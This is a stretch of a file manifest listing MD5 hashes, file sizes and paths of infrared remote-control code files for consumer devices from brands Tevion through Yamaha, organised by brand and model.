-F:aaaeb75c3eebbee73c25810eff9593bb:3052:infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir -F:61259ac03f51d3caeebdffe6b395736c:3495:infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir -F:47816268b4e90a74b31537af8fef7bb9:3374:infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir -F:4d23acd5e8b8e07906eda56295067d70:2956:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir -F:30c45fc7374753401fb9049c1f915fed:1377:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir -F:3f0a97872e6f7a8131fa90382ea8db24:3042:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir -F:230306c4d8f0f6a3106907bef17b800c:3230:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir -F:d93a916e4ca9e21d074a33fce0df0dfd:5112:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir -F:d581281fc879b8afa6198142adb536f0:4897:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir -F:179824fcefade83f823c70fbbd56a5dd:3834:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir -F:c9ef6f59cad0e01b4fe001d55c914e4d:4293:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir -F:7b0a8366df2561b78dbda098bc0f099e:3750:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir -F:18001c21584e0a68f98baaace9239fb7:3850:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir -F:6cf95bea502048bcccb70cf4ba210eee:2620:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir -D:infrared/_CSV-IRDB_/Theta Digital/DVD Player -D:infrared/_CSV-IRDB_/Theta Digital/Surround Processor -F:b6906008a901d5c01f7ee57244c955af:2704:infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir -F:f2bb186b6edcc2f535744f3598de5ef2:1981:infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir -F:699fc519cb356bf7f7477ef89cb7373d:3484:infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir -D:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb -F:2c6c53393185165872a65a7dc982a5a0:2397:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir -D:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON -F:106d357031ae339f0dd641bb0b8fff60:3329:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir -D:infrared/_CSV-IRDB_/Thomson/Unknown_230 -D:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1 -D:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258 -D:infrared/_CSV-IRDB_/Thomson/Unknown_TV -F:ca33a219c54529476ae4785e730f2ff8:3582:infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir -F:484b7cbda60263e672982885ec5dc07c:2587:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir -F:82a43b3f7aed3ec22ae7c57bd4b4cd09:1213:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir -F:8da0016cd9fafe8726168f428b345276:2349:infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir -D:infrared/_CSV-IRDB_/TiVo/PVR -D:infrared/_CSV-IRDB_/TiVo/TiVo -D:infrared/_CSV-IRDB_/TiVo/Unknown_Series1 -F:1b2c3fa66f19b50025fea9d77a81b1b4:2001:infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir -F:f09cfd42f2b9590423fbd56dd079e26d:3082:infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir -F:410027bb8e9a4081d465b6cc0cde43c7:3328:infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir -D:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius -F:66f08b0ee7d1e77f4c57265451d74c95:1981:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir -D:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715 -F:5005a2d790abbaf703006d26cdfc5d45:3846:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir -D:infrared/_CSV-IRDB_/Topfield/Unknown_PVR -D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi -D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR -F:432271f39103e0259231c9ba8781b5b9:4109:infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir -F:f0a01e48996e40ea5d4173ce0dd21991:3484:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir -F:b392020059b651180839ff898cf9e93d:3335:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir -D:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed -F:fb5229e3f20cf961e4ae0a21a04c4cca:4681:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir -D:infrared/_CSV-IRDB_/Toshiba/DVD Player -D:infrared/_CSV-IRDB_/Toshiba/TV -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q -D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA -D:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV -D:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R -D:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11 -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W -D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F -D:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210 -D:infrared/_CSV-IRDB_/Toshiba/VCR -F:6d905af63298fe554a069eb2b32d2297:7546:infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir -F:5dc2e98d26c266068679b231334802ec:4174:infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir -F:22c1196deb0fcc22d95cb3a5b0b26f54:2598:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir -F:4c24f7a4ee7c8a833555ab3afb298b3b:2946:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir -F:18933230a5bab1ca91f7e83158392862:2591:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir -F:5ab4d31b4a903e80bbf216fe38cebb43:2420:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir -F:0dac72aa1f27850491465b30b879625b:1364:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir -F:66eb44a6787b3aa83636adb71c43cd32:1112:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir -F:af998021230661a572be5d89f4033b1a:3344:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir -F:72820d99191a99d2745f9519cf4290af:3790:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir -F:dd5a6108b9aed8413c0edaeb7367eaff:2248:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir -F:709ff57e8bbfec64f0c6e4905aa6b8ea:2673:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir -F:d6651cc7dc35feaa9d6b2da6eb6e6bfd:3201:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir -F:86b0da4eeede3c9835b68c03d51c3918:2779:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir -F:d7b78930cfcb12418fce102efc3a91d8:3972:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir -F:ac7dd2a3c209f89000c250cc75354f84:3041:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir -F:d3491178b953f28af63c58f45b01a5e8:3934:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir -F:f39312899544643db2640d21663a0613:4026:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir -F:86a24ee69435bece6e987e6c8128925f:4383:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir -F:ea13aa3482458cc715269ef49e7f5f09:1296:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir -F:d5cbf19aff1b34ccdf1b3444e6453daa:3167:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir -F:d44664742c5eb7f32a57767235b7bbf0:3540:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir -F:a8dd521040d393eb797a0da3e4d5dd38:1716:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir -F:139528e7d3b89cc3263bec2df4e3c79e:2595:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir -F:f39312899544643db2640d21663a0613:4026:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir -F:ea2ba14d81903eca2bf6dbf4721eb388:3924:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir -F:9e548648934707b9241e7f171abfb7fa:3622:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir -F:e5cd56a4f91050ce5a2362600c807148:2157:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir -F:9085857be1035a9e775226d44d8b0532:2447:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir -F:921b5f538bbc8dd3a3eda44b22b97010:3412:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir -F:a7ec0f1acac24792dc737124af7e8ff1:2956:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir -F:9d378e3f2e0bec6c2675c258d4be8c19:3035:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir -F:aca873870810a5673c391252b9128d0f:1974:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir -F:3368eec6d6ee93f9d00c4391c12b7ab5:2807:infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir -D:infrared/_CSV-IRDB_/Total Control/Unknown_Control -F:a5e51a5cb1765b3c64166ccab6bea772:3576:infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir -D:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media -F:87bcb789c092424cff05f86b5ac8b6e8:3148:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir -D:infrared/_CSV-IRDB_/Traxis/Unknown_3500 -F:1273426fa0c67f5b4d32703e4a3141de:1264:infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir -D:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400 -F:5298a6618491e6ecdd9efdd5b31004ca:3873:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir -D:infrared/_CSV-IRDB_/Trutech/Unknown_TV -F:4a10ffcdea59ae91868bbd1cc4899c63:1983:infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir -D:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player -F:e0ade4c98352771567f015c420bb464e:216:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir -F:71dedf49e05140aa8eb1e927cd10a554:3675:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir -D:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron -F:ebdb736875994e43cf493ba656c77133:3517:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir -D:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200 -D:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV -F:eb244daf31493bccd549a73fdaeaf690:4755:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir -F:40cf5b0ad543b1c5617e2ac3fd4efaf3:2896:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir -D:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV -D:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3 -F:40cf5b0ad543b1c5617e2ac3fd4efaf3:2896:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir -F:0f876a323fc5902b80f05a83dda217fc:2152:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir -D:infrared/_CSV-IRDB_/UEC/Unknown_DVB -F:9f486cf576852b758a88ef6073e78b8c:2880:infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir -D:infrared/_CSV-IRDB_/UPC/Unknown_SAT -F:87f9ca8a8e0486994d076bba3ef9553a:1543:infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir -D:infrared/_CSV-IRDB_/US Electronics/Cable Box -F:1387fdf8f2b0567816f564fe8b0e3cd3:3200:infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir -D:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA -F:a709d88fea4f9b0605e9a5194a29e6e7:3233:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir -D:infrared/_CSV-IRDB_/Umax/Unknown_D-701 -F:6fd1dc4448167350f370ca06fe76a890:2397:infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir -D:infrared/_CSV-IRDB_/Uniden/Satellite -F:86158f1d953e3ce6af9de998f992aea0:3465:infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir -D:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M -F:dc469f27ca73ec65856a31c69fad6140:4193:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir -D:infrared/_CSV-IRDB_/Universal/Unknown_001 -D:infrared/_CSV-IRDB_/Universal/Unknown_006 -D:infrared/_CSV-IRDB_/Universal/Unknown_089 -D:infrared/_CSV-IRDB_/Universal/Unknown_101 -D:infrared/_CSV-IRDB_/Universal/Unknown_111 -D:infrared/_CSV-IRDB_/Universal/Unknown_Knopex -D:infrared/_CSV-IRDB_/Universal/Unknown_MC-10 -D:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse -D:infrared/_CSV-IRDB_/Universal/Unknown_RC -D:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T -D:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55 -D:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w -D:infrared/_CSV-IRDB_/Universal/Unknown_cme -D:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf -D:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599 -D:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config -D:infrared/_CSV-IRDB_/Universal/Unknown_tv -F:2f13aa4816146978970d7c86d569da41:3761:infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir -F:f357605ba3700889698fc6df3478de83:2547:infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir -F:1e8f0b5fb6b13143a45d4ee39e5aee71:2246:infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir -F:22b9e767d7d0b336c18120207b870ed2:4617:infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir -F:bbf019d35cfc924b53cdee071e200048:4295:infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir -F:61c921ca78a33faa9d1e46badb5c0a50:2702:infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir -F:966510e2f15c704e2ff6817d36335f3b:2886:infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir -F:c2e6c69c89f1513d4b63ecfae9ea3e3f:2055:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir -F:05f453b4fa4cc432f70b75e2e2cafbf5:2601:infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir -F:b50a06b877ac7b96c5a7f930b962e6a8:2677:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir -F:8becbef295b4ab696ced77c31b6f97ef:4235:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir -F:35ad296478d06a8a68b867a2c87dbdf2:2896:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir -F:1b4098e32ea2719e03965636a97b5edf:4228:infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir -F:f35d6c922d17ac6c72424275dcd3cbf8:2769:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir -F:6c48d24d12872039be4f99d39b9a2571:3386:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir -F:4f5cac3994abf024ffac8bcd8288e6d5:2147:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir -F:1ade6bca5e5b9b3d2be71d45075a54c3:4235:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir -F:1d6bdb5913ac445625ac37201dbb269f:314:infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir -D:infrared/_CSV-IRDB_/Velodyne/Subwoofer -F:e2bd46d4af1c553396797917715a88ac:472:infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir -D:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1 -D:infrared/_CSV-IRDB_/Venturer/Unknown_boombox -F:62537696dec4700a6107679b1c5fed42:2424:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir -F:6ab928334a7db2a64a61b62b9f7c57f6:661:infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir -D:infrared/_CSV-IRDB_/Vestel/Unknown_TV -F:1a3d53ad829cc9b715a30d5596f6597b:3414:infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir -D:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750 -F:cdc09a262ce9109e64bc35964464ede7:2241:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir -D:infrared/_CSV-IRDB_/Vidikron/Video Projector -F:2d48f06ed2a2a88818f8a06a27182a8b:2429:infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir -D:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF -D:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P -D:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6 -F:addab207193900d7027dc150027d1475:4376:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir -F:3b04bf02eba976f17f6eb29fda93f669:3919:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir -F:23c5fa0841cc2d90289951996e05b154:2592:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir -D:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03 -F:c8b663d480402bddd1f0130b889659dd:4111:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir -D:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT -D:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000 -F:8207afabba51da29dbb5533cc8f9481d:3503:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir -F:f4cfd350f841a55ab83d6ee58548082f:3481:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir -D:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO -F:e18c195d71571e902d9ebc12c4c4b095:3864:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir -D:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable -F:095f88471a4e56267d51b67a7e01834e:1630:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir -D:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211 -D:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E -F:a3cd003a0caef1dae1d1a5e362b2f896:3742:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir -F:9a06df16fa3c914264573ce1f1d60c6e:4467:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir -D:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD -D:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2 -D:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89 -F:b18d7758e32445228c8ad5604ed7337b:2954:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir -F:893e02e1e74bffb394dbe4dc3aa20eaa:2389:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir -F:2e899e863099666dab6a4d4bb026c86b:3300:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir -D:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L -D:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio -F:012a6d55612733fdb5ee7f0a58dff26f:4246:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir -F:6fa498809bf35a0d7b679115efd5e207:2571:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir -D:infrared/_CSV-IRDB_/VocoPro/Karaoke -F:688be1e977e13d9d5e384b57dcedcc68:742:infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir -D:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1 -F:a411bb8878bb0a8c555e63503e7e2fe0:4299:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir -D:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1 -D:infrared/_CSV-IRDB_/WD/Unknown_TV -F:ac08336eb7cea5b2f4998c8b7db29956:1576:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir -F:1ca8d44134749fbef5de19f81a9c0aa1:1574:infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir -D:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1 -D:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT -F:d78f66b3ae65b31d5710c5980bf46c73:2667:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir -F:2fc3401fa01ca296633a2a468cc1b356:3996:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir -D:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17 -F:c03084b0fbb584d1e38ecc56886ff79b:742:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir -D:infrared/_CSV-IRDB_/XMS/Unknown_XMS503 -F:2fe32575c25e1e072a946a090383a4c2:4278:infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir -D:infrared/_CSV-IRDB_/XORO/Sat -D:infrared/_CSV-IRDB_/XORO/Unknown_DVB -F:3d963f84d077371f38eba066186f1512:3665:infrared/_CSV-IRDB_/XORO/Sat/0,191.ir -F:3833c66292b59f7d93a23715d7c4a5d4:2795:infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir -D:infrared/_CSV-IRDB_/Xantech/Programmer -D:infrared/_CSV-IRDB_/Xantech/Relay Module -F:fdf0680fb54027879e44c17761c0bc12:1405:infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir -F:4f1b6ef3a892847b819b15580bbb33ed:2797:infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir -D:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D -F:29870c530b6f1322bf0284a06314477b:4201:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir -D:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer -F:ae4d0c1fe3259bd10888c2f828691183:3073:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir -D:infrared/_CSV-IRDB_/YES/Unknown_YES -F:7f669e301824cc3c06c03f07334bcfc7:3211:infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir -D:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD -F:17381071767eb8ba7568d2a2a0250734:4024:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir -D:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx -D:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500 -F:3c9ed7474ed70bf19bd981477c8ffb11:4016:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir -F:4aedb68a52faa870f1c4357603dc0c66:2861:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir -D:infrared/_CSV-IRDB_/Yamaha/Amplifier -D:infrared/_CSV-IRDB_/Yamaha/Blu-Ray -D:infrared/_CSV-IRDB_/Yamaha/CD Changer -D:infrared/_CSV-IRDB_/Yamaha/CD Jukebox -D:infrared/_CSV-IRDB_/Yamaha/CD Player -D:infrared/_CSV-IRDB_/Yamaha/CD-R -D:infrared/_CSV-IRDB_/Yamaha/Cassette Tape -D:infrared/_CSV-IRDB_/Yamaha/DAT -D:infrared/_CSV-IRDB_/Yamaha/DSP -D:infrared/_CSV-IRDB_/Yamaha/DVD -D:infrared/_CSV-IRDB_/Yamaha/DVD Changer -D:infrared/_CSV-IRDB_/Yamaha/DVD Player -D:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp -D:infrared/_CSV-IRDB_/Yamaha/DVD Receiver -D:infrared/_CSV-IRDB_/Yamaha/DVR -D:infrared/_CSV-IRDB_/Yamaha/Laser Disc -D:infrared/_CSV-IRDB_/Yamaha/Mini System -D:infrared/_CSV-IRDB_/Yamaha/Music Server -D:infrared/_CSV-IRDB_/Yamaha/Plasma -D:infrared/_CSV-IRDB_/Yamaha/Projector -D:infrared/_CSV-IRDB_/Yamaha/Receiver -D:infrared/_CSV-IRDB_/Yamaha/Sound Projector -D:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver -D:infrared/_CSV-IRDB_/Yamaha/Tuner -D:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD -D:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC -D:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300 